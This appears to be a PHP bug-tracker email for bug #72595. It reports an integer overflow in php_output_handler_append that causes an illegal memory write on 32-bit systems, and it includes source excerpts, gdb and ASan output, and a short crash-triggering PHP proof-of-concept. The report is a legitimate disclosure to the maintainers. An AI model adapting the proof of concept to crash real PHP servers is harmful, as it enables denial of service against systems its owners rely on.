Sec Bug->Bug #72595 [Opn]: php_output_handler_append illegal write access

From: Date: Sun, 17 Jul 2016 20:32:28 +0000
Subject: Sec Bug->Bug #72595 [Opn]: php_output_handler_append illegal write access
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-202380@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72595&edit=1 ID: 72595 Updated by: stas@php.net Reported by: fernando at null-life dot com Summary: php_output_handler_append illegal write access Status: Open -Type: Security +Type: Bug Package: *General Issues Operating System: * PHP Version: 7.0.8 Block user comment: N Private report: Y New Comment: Doesn't look like security issue - requires specially crafted code to trigger. Previous Comments: ------------------------------------------------------------------------ [2016-07-14 03:08:41] fernando at null-life dot com Description: ------------ Integer overflow at php_output_handler_append function causes illegal write access Calling to ob_start function with a big chunk_size value (i.e. PHP_INT_MAX), an integer overflow happens while trying to realloc the memory buffer. This causes a call to realloc with a new size of 0, the behaviour will depend on the libc implementation, but glibc returns a valid pointer here, and later an illegal write access trough the memcpy function. This was tested on a 32 bits system. ------------------------------------ Source code https://github.com/php/php-src/blob/master/main/output.c#L880 static inline int php_output_handler_append(php_output_handler *handler, const php_output_buffer *buf) { if (buf->used) { OG(flags) |= PHP_OUTPUT_WRITTEN; /* store it away */ if ((handler->buffer.size - handler->buffer.used) <= buf->used) { size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size); size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size - handler->buffer.used)); size_t grow_max = MAX(grow_int, grow_buf); handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max); ## integer overflow : handler->buffer.size + grow_max = 0 ^ handler->buffer.size += grow_max; } memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used); ## illegal write ^ handler->buffer.used += buf->used; /* chunked buffering */ if (handler->size && (handler->buffer.used >= handler->size)) { /* store away errors and/or any intermediate output */ return OG(running) ? 1 : 0; } } return 1; } GDB output: gdb -q --args /matatetete/matatetete/php-70/sapi/cli/php -n poc2.php gdb-peda$ b output.c:890 Breakpoint 2 at 0x938ec71: output.c:890. (4 locations) gdb-peda$ b output.c:891 Breakpoint 3 at 0x938ed53: output.c:891. (4 locations) gdb-peda$ r ... Breakpoint 2, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:890 890 handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max); gdb-peda$ p *handler $1 = { name = 0xf32013b8, flags = 0x71, level = 0x0, size = 0x7fffffff, buffer = { data = 0x70e00000 "", ## Before realloc size = 0x80000000, used = 0x7fffe000, free = 0x0, _reserved = 0x0 }, opaq = 0x0, dtor = 0x0, func = { user = 0xf327a0e0, internal = 0xf327a0e0 } } gdb-peda$ c ... Breakpoint 3, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:891 891 handler->buffer.size += grow_max; gdb-peda$ p *handler $2 = { name = 0xf32013b8, flags = 0x71, level = 0x0, size = 0x7fffffff, buffer = { data = 0xf32622a8 "\320\"", <incomplete sequence \363>, ## After realloc(0) size = 0x80000000, used = 0x7fffe000, free = 0x0, _reserved = 0x0 }, opaq = 0x0, dtor = 0x0, func = { user = 0xf327a0e0, internal = 0xf327a0e0 } } gdb-peda$ l 886 size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size); 887 size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size - handler->buffer.used)); 888 size_t grow_max = MAX(grow_int, grow_buf); 889 890 handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max); ## erealloc(0) 891 handler->buffer.size += grow_max; 892 } 893 memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used); 894 handler->buffer.used += buf->used; 895 gdb-peda$ p handler->buffer.size + grow_max ## Integer overflow $1 = 0x0 gdb-peda$ p handler->buffer.size $2 = 0x80000000 gdb-peda$ p grow_max $3 = 0x80000000 gdb-peda$ b output.c:893 Breakpoint 4 at 0x938e00c: output.c:893. (4 locations) gdb-peda$ c ... Breakpoint 4, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at /matatetete/php-src/main/output.c:893 893 memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used); gdb-peda$ p handler->buffer.data + handler->buffer.used $3 = 0x732602a8 <error: Cannot access memory at address 0x732602a8> ## Illegal dst address gdb-peda$ Test script: --------------- <?php ini_set('memory_limit', -1); function callback_function($buffer) { return 1; } $fp = fopen("/dev/zero", "r"); ob_start("callback_function", PHP_INT_MAX); fpassthru($fp); Expected result: ---------------- No crash / OOM error? Actual result: -------------- ASan output: /matatetete/matatetete/php-70/sapi/cli/php -n poc.php ASAN:SIGSEGV ================================================================= ==14329==ERROR: AddressSanitizer: SEGV on unknown address 0x72863280 (pc 0xf6d60e0c bp 0xfff72108 sp 0xfff71c98 T0) #0 0xf6d60e0b (/lib/i386-linux-gnu/libc.so.6+0x126e0b) #1 0xf72456dd in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8a6dd) #2 0xf7245c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f) #3 0x938e0e3 in memcpy /usr/include/i386-linux-gnu/bits/string3.h:53 #4 0x938e0e3 in php_output_handler_append /matatetete/php-src/main/output.c:893 #5 0x938e0e3 in php_output_handler_op /matatetete/php-src/main/output.c:941 #6 0x938e0e3 in php_output_op /matatetete/php-src/main/output.c:1057 #7 0x938e0e3 in php_output_write /matatetete/php-src/main/output.c:257 #8 0x93b5abb in _php_stream_passthru /matatetete/php-src/main/streams/streams.c:1411 #9 0x901ebc5 in zif_fpassthru /matatetete/php-src/ext/standard/file.c:1464 #10 0x9ac461a in ZEND_DO_ICALL_SPEC_HANDLER /matatetete/php-src/Zend/zend_vm_execute.h:586 #11 0x980eaaf in execute_ex /matatetete/php-src/Zend/zend_vm_execute.h:414 #12 0x9b2a835 in zend_execute /matatetete/php-src/Zend/zend_vm_execute.h:458 #13 0x95e778c in zend_execute_scripts /matatetete/php-src/Zend/zend.c:1427 #14 0x932ea6b in php_execute_script /matatetete/php-src/main/main.c:2494 #15 0x9b33374 in do_cli /matatetete/php-src/sapi/cli/php_cli.c:974 #16 0x80a64d3 in main /matatetete/php-src/sapi/cli/php_cli.c:1344 #17 0xf6c52636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #18 0x80a6aea (/matatetete/matatetete/php-70/sapi/cli/php+0x80a6aea) ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72595&edit=1

« previous php.bugs (#202380) next »